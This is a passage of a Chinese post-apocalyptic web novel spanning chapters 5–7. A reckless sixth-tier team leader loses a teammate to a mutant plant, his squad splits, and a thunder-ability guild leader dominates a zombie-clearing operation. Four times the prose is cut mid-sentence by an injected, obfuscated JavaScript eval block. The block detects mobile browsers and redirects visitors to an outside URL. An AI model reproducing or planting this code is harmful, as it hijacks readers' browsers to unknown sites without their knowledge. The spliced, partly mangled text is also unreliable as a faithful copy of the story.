江书言对此并无意见，被当成小白鼠的陈卓伟或许会有意见，但现在他还沉浸在成为强者的喜悦之中。 “老大，你也太厉害了！”王强激动的看着眼前的猎物，要知道，以前他们小队只有队长和副队长是三阶，四阶异兽就能把他们团灭，现在在陈卓伟面前，无论是四阶异兽还是五阶异兽，都能轻轻松松捕获。 “这还用你说！”陈卓伟笑骂道“还不赶紧找找，有没有别的高阶异兽。” 他们小队今天运气爆棚，遇到了一只四阶异兽和一只五阶异兽，哪怕来个六阶异兽，他也照打不误！ “老大，我们今天的收获已经很多，再往前走就危险了，”副队长看着前面层层叠叠，几乎把阳光挡住的树林，眼里有些担忧“兄弟们的异能都消耗的太大，我们返程吧。” “怕什么？”陈卓伟正是满心豪情的时候，又怎能容得旁人反驳“我一个六阶异能者，难道还护不住你们？” “老大，”副队长颇为无奈，又强调了一遍“有些异兽是有异能的，如果是自然系异能，老大你这么厉害，自然没什么事，兄弟们可不一定能扛得住啊！” 异能和异能之间有很大差异，每种异能都有自己的限制，比如力量系异能就有攻击范围限制，人类总共就有两条胳膊两条腿，胳膊腿的长度也是一定的，哪怕都用上，也没办法同时攻击十米开外的几十个敌人吧？ “这一群人里好歹有一个不傻，”跟在陈卓伟小队后面，借助江书言的精神系异能偷听的凌玉评价道“只可惜，好良言难劝该死的鬼，其他人恐怕不会听他的。” 在江书言的感知里，就在陈卓伟前方大概一两百米的地方就有一株六阶异植，树林是植物的主场，在这里异植比异兽还难对付，这下子他们可是凶多吉少了。 “你说他们是幸运还是倒霉？”凌玉饶有兴趣的看戏“三阶以上异兽难见，寻常人在这山里逛上十天半个月都不一定能遇见，他们可倒好，一遇一个准，就连六阶异植都能遇到。” “这可不是巧合，”江书言笑了笑，他对陈卓伟的情况并不感兴趣，只是顺着凌玉的话说“他的实力是最近才强行提升上去的，体内能量还很不稳定，而异兽异植对这种能量更敏感，就像是……有人喷了香水，大家都能闻到一样，这些异兽异植是主动来找他的，目的大概是想吃了他。” 人类体内没有异能晶核，所以一般来说，异兽异植并不会优先攻击异能者，但陈卓伟现在的情况不同，他简直就像一个人形晶核，在异兽异植眼里香饽饽一般的存在。 “六阶异植，还挺稀有的，”凌玉若有所思的看了一眼陈卓伟“快入冬了，协会最近有一场拍卖会，不如把这个放到拍卖会上，应该能卖个不错的价钱。” 两人说话间，陈卓伟小队还在往前走，一根根藤蔓如同林中穿行的毒蛇一般朝这群人攻过来，陈卓伟一拳打断了藤蔓，刚想乘胜追击，却被身后的求救声绊住了脚步。 “老大！老大！”王强胡乱叫着“老大救我！救我！” 他是个二阶速度系异能者，被树藤缠住之后就基本没了反抗的能力，他能感觉到，这个树藤绝对是他惹不起的存在，他的肋骨已经在树藤的挤压下咯吱作响，如果没人救他的话，他很快就要死了！ 陈卓伟暗骂一句，还是先把王强救了下来，毕竟王强跟了他这么多年，再怎么样他也不至于眼睁睁的看着王强去死。 “滚一边去！”陈卓伟没好气的骂道“帮不上忙还净给我添乱的废物！” 王强被骂的愣了一下，心里不免有些犯嘀咕，毕竟他们这些人是跟着陈卓伟来这儿的，若放在以前，他怎么敢走出这么远。 当然，虽然心里是这么想的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051453|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王强还是很识趣的后退，陈卓伟刚要去找这六阶异植的本体，副队长却又被藤蔓捆住，无奈他只好又回来救人，一来二去，陈卓伟消耗的不少体力，却仍旧离异植的本体很远。 “老大，撤退吧！”副队长艰难的躲开藤蔓，向陈卓伟说道“再不撤退兄弟们都撑不住了！” 陈卓伟的脸扭曲了一下，如果在这儿的只有他一个人的话，他是有机会拿下这株六阶异植的，但他的这些队员大多只有二阶异能，他要护着这么多人，当然没法杀掉异植。 “你们撑一会儿，等我杀了这异植我们就安全了！”陈卓伟咬牙说道“要是撑不住，你们就先跑。” 其实所有人都很清楚，他们不是不想跑，而是跑不掉，要不是陈卓伟护着他们，他们恐怕早就死了，陈卓伟一走，他们不死也残。 “老大，我跟你一起去！”王强机灵，立刻上前缠住陈卓伟，笑嘻嘻的说道“我这个人最讲义气，我们是兄弟，老大你有难，兄弟岂能不帮？” “跟着我，别掉队！”陈卓伟看了王强一眼，这些人中，王强和他关系最亲近，以他的能力带一个人还是没什么问题的，这小子机灵，多少有点儿用处，带着也不费什么事。 “得嘞！”王强深知陈卓伟的想法，在众人还没反应过来的时候，他立撒开腿和陈卓伟两人跑进了密密麻麻的树丛之中，将其他人远远甩在了外面。 剩下的几人登时白了脸，他们在这能做什么？不过是等死罢了，等陈卓伟消灭异植出来，他们早就死了。 “都打起精神来！”副队长咬咬牙喊道“难道老大一走你们就都不活了吗？都听我命令，栓子、小杨你们两个开路，我们往外跑！” 陈卓伟二人且行且战，这异植生命力顽强，断几根藤蔓根本不影响什么，偏偏陈卓伟又是无法远程攻击的力量系异能者，两人进展缓慢，过了十五分钟，才走了大约一半的距离。 王强累的直喘粗气，他抬头想看看那异植的本体，却发现天上忽然多出了许多光点，紧接着，这些光点犹如流星一般落下，光点快落到地面的时候，王强才看清，这哪里是什么光点，而是一把把泛着金属光泽的刀。 卧槽！天上下刀子了！ 王强被吓的双手抱头立马蹲下，等蹲下以后他才反应过来，这不是什么异象，而是有金系异能者的异能。 他立刻站起来，刚想要和陈卓伟说，眼前却爆发出一阵无比刺眼的强光，等他睁开眼时，周围的藤蔓掉了一地，而不远处，那株让他们头疼不已的异植已经成了一块黑漆漆的焦炭。 “可惜了，这株异植之前应当只是常见的杨树，没什么利用价值。”凌玉脚步轻快的走到树前面，用匕首将晶核挑出来“不过这晶核倒是不错，至少也有六阶中期，放在拍卖行虽然比不上压轴的七阶晶核，也算是个难得的东西了。” 56. 第5章 “你们没受伤吧？”凌玉笑容温和的看向陈卓伟二人，大多数时候她看起来并不像一个位高权重的会长，相反的，她相当平易近人，哪怕在普通人中也很有人气。“这里已经是白山腹地了，相较于异兽，异植更难对付些，若是受伤了，可以去雇佣兵协会问问有没有治愈系异能者愿意帮忙。” “啊……谢谢，”王强下意识道了一声谢“我没什么事儿，就是异能使用过度，有点脱力了。” “没事就好，”凌玉仍是好脾气的点头“现在天都快黑了，天黑以后森林里太过危险，你们也快些离开吧。” “好……”王强直愣愣的点头，这是他第一次近距离接触凌玉，怎么说呢，怪不得白山基地里有那么多人推崇她，身为高阶异能者却丝毫没有盛气凌人的意思，反而说话做事处处妥帖舒服，这样的人谁会不喜欢？ “慢着！”与王强极度疲过后的呆愣不同，陈卓伟脸色阴沉的看着凌玉“你就这么走了？” “这位先生，还有什么事吗？”凌玉疑惑的看了他一眼“难道你想与我们同行？” “这晶核是我们发现的，你得分我们一半！”陈卓伟看着凌玉手中的晶核，眼中闪过贪婪“况且刚才我和我兄弟也帮你们忙了，你们不能卸磨杀驴吧？” “先生，我想你误会了，”凌玉笑容不变，“您和您的同伴离异植的本体少说也有五十米，我是看你们有危险，才出手解决了异植，恩将仇报可不是好习惯。” “你要是不分我一半，我就在基地里宣扬你抢别人的猎物，你能当会长不就是因为名声好吗？我告诉你，等我把你名声搞臭，我看你在雇佣兵协会还混不混的下去！” 陈卓伟其实更想用拳头解决，但对面是两个六阶异能者，他只有一个人，获胜的概率不大，反正这种小姑娘随随便便威胁两句她就怕了，无本万利的买卖，他最喜欢。 “先生，你怎么能这么做呢？”凌玉果然如他想的那样，蹙起了眉头“做人不能太坏，不然会遭报应的。” “嗤！”陈卓伟嗤笑一声，他才不相信什么报应，他懒得再说话，一伸手，示意凌玉把晶核递过来。 “我不能把晶核给你，我相信，正义必胜。”凌玉嘴角一弯，拉着江书言离开，将无能狂怒的陈卓伟抛在脑后。 “好玩儿吗？”走出了一段距离以后，江书言揉了揉凌玉的脑袋，笑问道。 “哈哈哈哈！”凌玉也笑了起来“好玩，我原本只想来看看到底是什么人这么幸运，没想到却遇到了这么个活宝，他到底是有多傻，才会觉得在末世女人小孩很好欺负啊？” 在末世以前，女人、老人、小孩，这种体力低下的人通常被视为弱势群体，末世刚刚来临的时候，弱势群体死的是最多的，除了无法对抗天灾以外，还有数不胜数的人祸。 可正是因为这样，在末世能活下来的弱势群体，都是有本事的，要么有异能，要么有手段。 白山基地中的女性总数少于男性，女性异能者的数量却和男性异能者差不多，甚至因为女性更谨慎，死亡率低，女性异能者还比男性异能者数量略多一点。 “对了，我之前去西区的时候捡到了个孩子，九岁，是个异能者。”说到这儿，凌玉想起了一个孩子“他应该是孤儿，带着一个妹妹，这会儿他应该在儿童之家里了吧？” 所谓的儿童之家就是孤儿院，末世来临，没有父母的孤儿比比皆是，凌玉早早就建了一所孤儿院，收留父母去世的未成年。 “已经交给叶童了，”江书言点头“她有耐心，比较适合和那些孩子相处，也能教他们些东西。” “你说，到底有没有人发现，小孩子觉醒异能的概率比成年人高啊？”凌玉将手中的晶核抛起又接住“成年人觉醒异能的比例是十分之一，少年觉醒比例大概在六七分之一左右，十岁以下孩子是四分之一，如果是末世以后出生的婴儿，拥有异能的比例甚至高达二分之一。” 当末世降临的时候，人类就开启了新的进化方向，觉醒异能的比例会越来越高，百年之后，所有人都会拥有异能，到那时，人类才彻底完成了进化。 “大概没有吧，”江书言想了一会儿道“毕竟小孩子虽然有异能，但在身体未发育完全之前很难发挥出应有的实力，被当成无异能或者异能很弱也是正常的。” “可惜了，大多数基地都没有儿童的保护政策，”凌玉半开玩笑似的说道“三十年河西，三十年河东，等到十年以后，这些孩子才是世界的主角。” 异能者本质上就是适应陨石能量的人，对陨石能量的适应性越强，异能就越强，小孩子从小就长在有陨石能量的世界，对能量的适应性要强于大人，也就是说，等这批孩子成长起来，异能普遍会比他们这些大人强。 这边两人有说有笑，另一边，陈卓伟沉着脸往外走，表情好像结了冰，王强察觉到老大的不满，小心翼翼的讨好道“老大，我们大男人何必和一个女人计较，有老大在，异兽异植还不是手到擒来？” “闭嘴！”陈卓伟气不顺，对王强也没了耐性“要不是你，我早就动手了，你还敢说？！” 王强识趣的闭上了嘴，心里却忍不住腹诽，他可认识凌玉和江书言，这两人都是雇佣兵协会数得上的强者，一个是六阶雷系异能者，一个是六阶金系异能者，这两人只凭陈卓伟一个怎么可能打的过？ 话虽如此，王强可不会傻到说出来，直到与其他队员汇合，他才惊叫道“副队，栓子，你们怎么啦？” “我和栓子受了伤，”副队长眼睛直直的看向陈卓伟“小杨死了。” 他们被留在这里的人多多少少都受伤了，他和栓子伤的最重，一个被捅穿了腹部，一个浑身都是伤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15055896|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“……回去以后找个治愈系异能者，”陈卓伟皱着眉想说什么，但最终还是道“把今天抓到了四、五阶异兽卖了，请个治愈系异能者不是轻轻松松？” “陈卓伟！你还有没有良心？！”副队长看着陈卓伟满不在乎的样子，忍不住吼了出来“是你把大家带到这儿来，自己又跑了，受伤的队员能治，死了的小杨能回来吗？” “行了！他死了我能怎么办？”陈卓伟不耐烦的打断副队长“要不是我护着你们，你们早就死了不知道多少回了，难道死了个人就要都赖在我头上？” 空气陷入死一般的沉默，就连王强这个多话的也不敢轻易开口，陈卓伟自知失言，却也不想落了面子，众人只好僵在原地，像一座座沉默的雕像。 “好啊，好！我真是看错你了！”副队长双目通红，瞪着陈卓伟“我原本以为像你这样随时把兄弟放在嘴边的人是个重情义的，没想到富易妻，贵易友，你这是要逼我们走啊！” 副队长知道，他们这些人中最厉害的才三阶，和六阶的陈卓伟差距太大，很难相互配合，他也想过陈卓伟会提出解散队伍，毕竟以陈卓伟如今的异能完全可以招募到更好的队友。 可陈卓伟没有，他捕获五阶异兽卖了钱以后甚至会先请兄弟们玩乐，这让副队长误以为他是个重情义的人，一声兄弟，就是一辈子兄弟。 他没想到，陈卓伟不是不想甩掉他们，而是不好主动开口，如今这种情形，若有下一次，他们又要死多少人？ “从今以后我正式退出小队，”副队长抹了一把脸，看向周围的人“愿意跟我走的，就跟着我，不愿意的，就跟着老大，以后各过各的，总不至于对彼此生了怨恨。” 陈卓伟的小队原本有十个人，死了一个还剩下九个，有四个人选择和副队长离开，剩下的人留在原地，显然是要继续跟着陈卓伟。 “……老大，副队他就是一时冲动，”王强解释道“毕竟他把小杨当亲弟弟看，小杨死了，他心里难受，等我们回去把异兽卖了，再叫个治愈系异能者把兄弟们的伤治好，副队这气也就消了。” “他自己要退，那就让他走！”陈卓伟心中燃起一股无名怒火，他自认对这些兄弟都不差，有危险都是他上，让这些人躲在后面，没想到他都这样了，竟还有人不满，真是不知好歹！ 王强眼见劝不动，便不再规劝，只顺着陈卓伟的话痛骂副队长没良心，左右他没受伤，也不需要治愈系异能者，骂一骂对方又不会少一块肉。 留下的两人都是轻伤，他们还指望着陈卓伟能去请治愈系异能者帮他们治伤呢，自然要讨好对方，四人就这样边走边骂，在天黑以前赶回了白山基地。 “老大，今儿谁去摆摊？”跟着陈卓伟回来两人中的一个问道“昨天是副队长去的，今天副队长走了，其他兄弟恐怕没那个本事卖出去。” 57. 第6章 大多数异能者小队会选择直接将异兽卖给雇佣兵协会不是没有原因的。 虽然雇佣兵协会的收购价肯定比不上市价，但好歹是个稳定的买家，毕竟异兽的晶核不是谁拿到了就能用，要是摆摊一整天都没遇到一个想买的，那不仅一点儿收获都没有，还额外支出了一个人看摊。 之前陈卓伟猎到的五级异兽是副队长做主卖出去的，卖的价钱比直接卖给雇佣兵协会还要低些，没办法，高阶异兽的晶核是好东西，可能用到的人也少，要是按照市价卖，可能要等个十天半个月才有人买。 “强子，”陈卓伟显然也想到了这一点，他喊了一声王强“今天你先去卖晶核，等我招点人之后再交给别人。” “老大，”王强苦着脸，他异能消耗过度，虽然不是什么伤，但也非常虚弱疲倦，都这个时候了，他还要去摆摊叫卖直到晚上，这也太折腾人了。“今天兄弟们都受伤了，不如先找个治愈系异能者替兄弟们治一治，明天再卖晶核也不迟啊。” “少废话！”陈卓伟呵斥道“你不是没受伤吗？平时懒的要死，卖点儿东西都不行，你还能干什么？” “强子，你就摆个摊子，往这儿一坐，有人来问的时候招呼一下，这有什么难的？”几人中受伤最轻的那个幸灾乐祸道“难不成你就是不想听老大的？” 陈卓伟刚刚和副队闹掰，副队还带走一半的队员，他心情本就不好，更是在心里怀疑剩下这些人会不会跑，在这个节骨眼上，王强表现出抗拒，可不是火上浇油吗。 “刚子，你别给老子胡说！”见陈卓伟脸色越来越差，王强连忙说道“我是看你和老吴受伤了，才想让你们先疗伤，你这人真是不识好人心，行了，我摆摊去了，你一边凉快去吧！” “队长，”一直沉默寡言的老吴忽然开口“我和刚子的伤，得尽快处理，治愈系异能者不好找，找个医生也行。” 老吴是最早跟在陈卓伟身边的人，细算起来，他们还是有点儿血缘关系的远亲，老吴没什么主见，很少提出要求，但这次他不得不主动提，毕竟刚子只是皮外伤，放着不管也能长好，他却是胳膊脱臼了，必须由专业的医生处理。 “行了我知道，我现在就过去。”陈卓伟心里有些烦躁，这些队友帮不上忙也就算了，现在就连这些鸡毛蒜皮的小事也得让他操心。 虽然心里有不满，但陈卓伟还是去找了相熟的治愈系异能者，白山基地中以狩猎异兽为生的异能者小队都有几个认识的治愈系异能者，毕竟经常冒险狩猎的人，哪有不受伤的呢？ “两个人，都是轻伤。”胡子拉碴，随意套着一件白外套的治愈系异能者在纸上划拉了两下“行，今天就能治，你把人带过来吧。” 陈卓伟收下账单看了一眼，登时火气大盛，他直接将纸扔回桌面，指着纸上的数字吼道“好啊，你当我是傻子，在这儿坑我呢！你看看你这报价，比之前治两个重伤的都高，你今天不给我说清楚就别想轻易把这事揭过去！” “你别冲我发火啊！”治愈系异能者也跟着喊道“最近治愈系异能者每个都忙的不可开交，我看你是熟人才肯提前给你治的，只是收的钱多了一点儿而已，这已经很良心啦！” “少给老子放屁！”陈卓伟一把揪住对方的衣领“最近又没什么大事，治愈系异能者怎么可能都忙成这样？” “你不知道？”治愈系异能者企图从陈卓伟手中抢回自己的衣领，但他一个战五渣，努力了半天都不够给人刮痧的“雇佣兵协会最近正在扩招治愈系异能者，待遇很不错，有不少人都去了。” “他们招治愈系异能者干什么？”陈卓伟皱起眉头“难道雇佣兵协会里那么多治愈系异能者还不够他们用？” “我哪知道，”治愈系异能者好不容易夺回了自己的衣领，他揉了揉脖子，没好气的说道“不过我听说，雇佣兵协会好像是想搞个医院，将治愈系异能者按照等阶分类，拥有医学知识的普通人负责引导和护理，就和过去医院的模式差不多。” “雇佣兵协会给的工钱再高，怎么可能比你们现在挣得多？”陈卓伟有些狐疑的打量着男人“你该不会是唬我的吧？” “我唬你干什么？”男人直呼冤枉“招聘信息就在雇佣兵协会的大厅，醒目的不得了，你要是不信，你自己去看不就得了？” 见陈卓伟信了，男人才接着说道“干我们这行的，虽然的确很挣钱，但其实也挺危险的，毕竟总有人打我们的歪心思，我们又没什么战斗力，请个保镖吧，还怕保镖变劫匪，虽然协会给的肯定没有我们自己赚的多，但毕竟背靠大树好乘凉，不用每天提心吊胆也挺好。” “说的这么好，你怎么不去？”陈卓伟瞥了男人一眼。 “嘿嘿，我这不是，”男人讪笑两声，做了一个数钱的动作“手头有点儿紧吗？” 他是个爱财的，富贵险中求，要不趁这个时候多捞一笔，他睡觉都不安稳。 陈卓伟虽不情愿，但还是捏着鼻子将老吴和刚子带来，花费了一笔不菲的费用，另一边王强摆摊的收益却不算太好，四阶、五阶晶核一个都没卖出去，只卖了几个三阶晶核，堪堪能付老吴和刚子的治疗费，忙活了一整天，收入为零的陈卓伟脸都黑了，第二天一早，他就开始广招新队员，为下一次的狩猎做准备。 “强哥，你感觉我们队这回能招到高手不？”忙碌了一上午的刚子猛灌了几口水说道“怎么到我这儿来问的大多都是三阶，最高才四阶啊？” 虽然他、王强和老吴三人都只是二阶，但老大可是六阶异能者，有六阶异能者带队，就没有一个心动的？ “去去去！”见刚子靠过来，王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059367|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强立马挥手驱赶“昨儿你不还落井下石，让我一个人看摊子吗？怎么，用的到我的时候就改叫强哥啦？” “嘿！”刚子一拍大腿，笑嘻嘻的说道“强哥，你别动气，昨儿不是兄弟受伤了吗？你多担待些，以后你要是出事了，兄弟也帮你担着。” “呸！说的比唱的都好听！”王强蹲在路边，向地上吐了一口唾沫“这白山基地里五阶可就是数得上的高手了，这样的人要么早有更好的固定队伍，要么不愿屈居人下，自己当队长。白山基地的人员流动虽然不小，但来来回回的都是些低阶异能者，你看哪个大佬十天换八个队伍？能有四阶异能者过来就不错了。” 王强这可不是在说风凉话，而是现实就是如此，他们被雇佣兵协会拉黑，连个招募队友的消息都发不了，只能用最原始的方法在人多的地方立个牌子，可这样和发传单差不多的方式又有多少可信度？如果不是那个四阶异能者异能有点儿鸡肋，恐怕也不会愿意来问。 不管怎么说，陈卓伟小队最终还是招到了些新人，包括那个四阶异能者在内，共有十一人，大多是三阶异能者，虽说陈卓伟对此并不是很满意，但好歹比之前强。 “老大！”王强兴冲冲的拿着一张纸在陈卓伟面前挥了挥“白山基地官方下发了通知，说要将南边的丧尸清干净，将那片地划成种植区呢！” “吓我一跳，”陈卓伟没好气的白了王强一眼“别在我这儿一惊一乍的，我还以为发生什么大事了呢。” “老大，我觉得这次是个机会，”王强正色道“官方人手不足，即使有那么多人手，也不可能全投到开荒上，所以我猜，这次大约和前几次的情况差不多，白山基地会出资雇佣这些民间异能者小队。” “老大你想啊，虽然白山基地这种官方雇佣给的钱不多，但哪个大势力缺席过？这种事对大势力来说是表态，对咱们这种小队来说就是扬名，毕竟报名的可都是异能者，咱们要是表现的出众，那能力强的异能者不就会主动加入我们队了吗？” “你小子倒是有些小聪明，”陈卓伟仔细一想，的确是这回事，虽说之前他也参加过类似的事，但他那时候只是个三阶异能者，没什么出众的表现，如今他也是基地里数得上的强者了，怎能表现的如此平庸？“行，那就听你的，把我们队也报上去。” “好嘞，”王强利落的应下来，不过片刻，他又小心翼翼的问道“那个……老大，近来新入队的兄弟还挺多的，这个工钱，具体要怎么个分法啊？” 过去他们整个队伍里只有陈卓伟和副队长是三阶异能者，他们两人每人可以分到队伍总收入的百分之十五，剩下的部分有其他兄弟平分，这种分配方式谁都没有意见，可如今陈卓伟是六阶异能者，队伍里还有一个四阶，九个三阶，四个二阶，这在分配上可就是难题了。 58. 第7章 利益的分配，势必影响到团队的和谐。 陈卓伟牟足了劲想要在这次的任务中出彩，他当即决定，用最简单、最能激励人心的分配方式，按照个人杀丧尸的比例来分配报酬。 虽说这种分配方式有不少弊端，但现在队伍里大多是刚刚入队的新成员，不好刚来就提要求，在众人的默许下，这项决定就这样落实下来。 等待的日子总是过的飞快，一转眼就到了正式开战的日子，可能是冤家路窄，陈卓伟的小队正好被分配在雇佣兵协会队伍旁边，那个陈卓伟万分看不顺眼，却又无可奈何的协会会长，此时也站在队伍之中。 “我很高兴大家能为白山基地出一份力，”凌玉笑着和协会内的异能者打了声招呼“虽然清理丧尸，恢复种植很重要，但也请保重自己的身体，协会内的治愈系异能者和医疗工作者正在不远处待命，在任务期间，所有受伤的人都可以去求助，请放心，医疗方面协会不会收取大家任何费用，并给予每一位成员最大程度的帮助。” “哈哈哈！”雇佣兵协会的副会长之一，六阶力量系异能者秦忠秦老爷子大笑了起来“会长，你这可真是大手笔啊，一下子雇佣这么多治愈系异能者，花了不少钱吧？” “在人命面前，所有的花费都不值一提。”凌玉笑眯眯的答道“协会的各位英雄在与丧尸拼杀，我这个做会长的，怎么也要保障大家的安全吧？” 经过凌玉和秦副会长这么一唱一和，周围的人都知道了雇佣兵协会成员可以免费治伤，陈卓伟小队就在协会旁边，自然也听到了凌玉的话。 “雇佣兵协会不愧是白山基地数一数二的势力，真是大手笔啊，”刚子不知道自家队长与凌玉的嫌隙，他感慨道“像我们这种小队，想要找一个治愈系异能者治伤都难。” 刚子本是无心之言，听在陈卓伟耳中却分外刺耳，王强意识到老大表情不对，立马呵斥道“行了！与其在那儿看别人还不如好好表现，我们这次可是按劳分配的，只要杀的丧尸多，雇一个治愈系异能者不是轻轻松松？” “可这次是基地官方一次性给报酬，”刚子还没反应过来怎么回事，只以为王强是在和他斗嘴“基地给的本来就不多，我一个水系的，顶多打打辅助，杀丧尸的数量肯定没有别人多，别说治愈系异能者了，这一趟任务下来够我吃饭我就烧高香了。” “都在哪儿叽叽咕咕的说什么！”陈卓伟忽然吼道“给老子闭嘴！再敢议论一句，都特么给老子滚蛋！” 刚子顿时哑了声，他缩了缩脖子，用询问的眼神看向王强，王强暗中指了陈卓伟一下，又摇摇头，示意刚子先别说话。 其余队员眼观鼻鼻观心，一个个都不说话，其他小队陆续到齐，基地总指挥下令开闸门，海量丧尸如潮水般涌来，几人连忙上前准备杀丧尸。 “每当这种时候我就特别羡慕速度系异能者，”刚子一边用水禁锢住丧尸，一边用匕首取出丧尸脑内的晶核“我杀一个丧尸的时间，够人家杀三个了。” “你可省省吧，”速度系异能者王强恰巧听到了这句话，他抽空回道“我还羡慕你们自然系不用贴身近战呢，毕竟像我这种近战人员若是中了丧尸病毒，就不得不去找治愈系异能者治疗了。” 虽然异能者不会轻易变异成丧尸，但也不是绝对，只是异能者变异的概率要比普通人低很多而已，大多异能者为了保险，在被丧尸咬伤以后都会选择让治愈系异能者治疗一下，毕竟谁也不敢拿命赌啊。 “你说的那种不用近身攻击，一挥手丧尸就能倒一大片的都得是大佬好吗？”刚子翻了个白眼“像我这种小异能者哪有那么多异能浪费，顶多就是用水禁锢住丧尸，挖晶核还得自己来。” “那得几阶异能者才能像以前电影大片那样，满屏都是特效啊？”王强有几分好奇“我们这个基地有人能做到不？” “不知道，那几个六阶大佬应该行？”刚子耸了耸肩“说起来，雷系异能是真的炫酷，高阶异能者用起来效果肯定很炸裂，我记得雇佣兵协会的会长就是雷系的吧？这次她也在，说不定我们……卧槽！” 王强不明所以的回过头想看看刚子怎么忽然爆粗口了，还没等他细看，一股强光迎面袭来，那场景好像电影里的特效成了真，目光所及之处全部被雷电所占据，随着轰隆一声巨响，雷光炸裂，一条条闪电劈在丧尸群里，原本如洪流一般的丧尸群硬生生被劈出了一个豁口，数万异能者鸦雀无声，盯着眼前这壮丽的画面。 “这才是真正的自然系异能者啊！”刚子被惊得目瞪口呆，喃喃道“跟她比起来，我的那点儿异能像是在过家家，这一下子得杀了多少丧尸？几百？上千？” “我猜可能有一两千吧，”新入队的四阶异能者眼含羡慕“可惜了，这样的力量我永远都不可能有。” 他虽然是四阶，但他的异能隐身其实是有些鸡肋的，毕竟丧尸和异兽都不依靠视觉攻击，因为这个异能，他只能辗转于各个小队，勉强讨个生活。 “强哥，你说我要是达到六阶，是不是也能像凌会长那样？”刚子看了看自己的双手，兴致勃勃的说道“比如我一挥手，水就跟海啸似的涌过来？” “做你的白日梦去吧，”王强冷笑一声“你现在才二阶，等你到六阶，黄花菜都凉了。” “那我现在还不到三十呢，等我六十的时候，怎么也有六阶了吧？”刚子不死心的说道“刚刚那一招也太帅了，我现在发奋图强，以后总有能做到的一天吧？” 王强懒得理刚子这个脑子不太好的，不过刚刚那一幕的确相当震撼，他曾经听人说过，自然系异能越到高阶优势越明显，当时他并未多注意，但现在看来，确实是这样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063688|158905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异能是有优劣的，这一点大家都很清楚，比如他们队刚招的那个异能是隐身的异能者，劣势就相当明显。 四阶隐身异能者在一阶的时候能隐身五分钟，四阶隐身时间达到了一个小时，看似异能使用时长增加了，实际上却没什么大用。 毕竟只要经常战斗的人都知道，隐身五分钟杀不掉的人隐身一个小时也未必能杀掉，只要第一次偷袭失败，人家完全可以躲在一个安全的地方或者用扬尘之类的方法破解掉隐身，隐身只是让旁人看不见，又不是真的消失。 在低阶的时候，自然系异能没有力量、速度之类的身体强化系异能好用，毕竟后者只需要有些勇气，一阶的时候就能杀丧尸，前者一阶的时候召唤出来的水、火等元素就跟玩儿一样，连困住丧尸都难。 可到了后期，自然系异能的优势就显露出来了，身体强化系异能再厉害，不过两只手两只脚，自然系异能的攻击范围极广，再加上像凌玉这种雷系的本身攻击性就很厉害，放在战场上简直是绞肉机一般的存在。 这次清理南边丧尸来了不少高手，其中不乏有六阶，只是有凌玉珠玉在前，其他人便逊色了不少，雇佣兵协会的队伍，包括医疗团队身边都围满了人，每个人都对雇佣兵协会的会长，六阶雷系异能者充满了好奇。 刚子也凑上去和医疗团队的人聊了几句，这些人有一半左右是刚招来的，另一半则是在协会待了不短的时间，无论这两类中的哪一类，对凌玉的评价都很好。 “说起来我还挺倒霉的，”一个三十岁左右的男人和刚子闲聊“我以前是别的基地的，那个基地被丧尸围了，负责人跑了以后大家各自逃命，治愈系异能没什么攻击力，我好不容易跟着几个攻击性异能者跑出来，命都快去了半条，要不是会长在西区送吃的，我估计我都能饿死。” “后来你就加入了雇佣兵协会？”刚子听得津津有味“为什么不单干？单干不是更挣钱吗？” “挣是挣，可是我保不住啊，”男人吐槽道“你是不知道，我之前待的那个基地有多少强盗小偷，根本没处说理去，我感觉在协会挺好的，有专人负责安全，至少不用每天提心吊胆，睡觉都睡不安稳。” “那倒是。”刚子偷瞄了一眼跟着医疗团队，身材瘦高的少年，他应该就是雇佣兵协会内的第四个六阶异能者，安全部部长。 “哎，我看你也受伤了，我顺手帮你治一下吧。”男人发动治愈系异能，将刚子手上的血口治愈“杀丧尸的时候要注意，身上有伤口就有感染的风险。” “谢了兄弟，你们协会让这样吗？”刚子有些惊讶，毕竟请一次治愈系异能者要不少钱呢，对方就这样免费给他治了？ 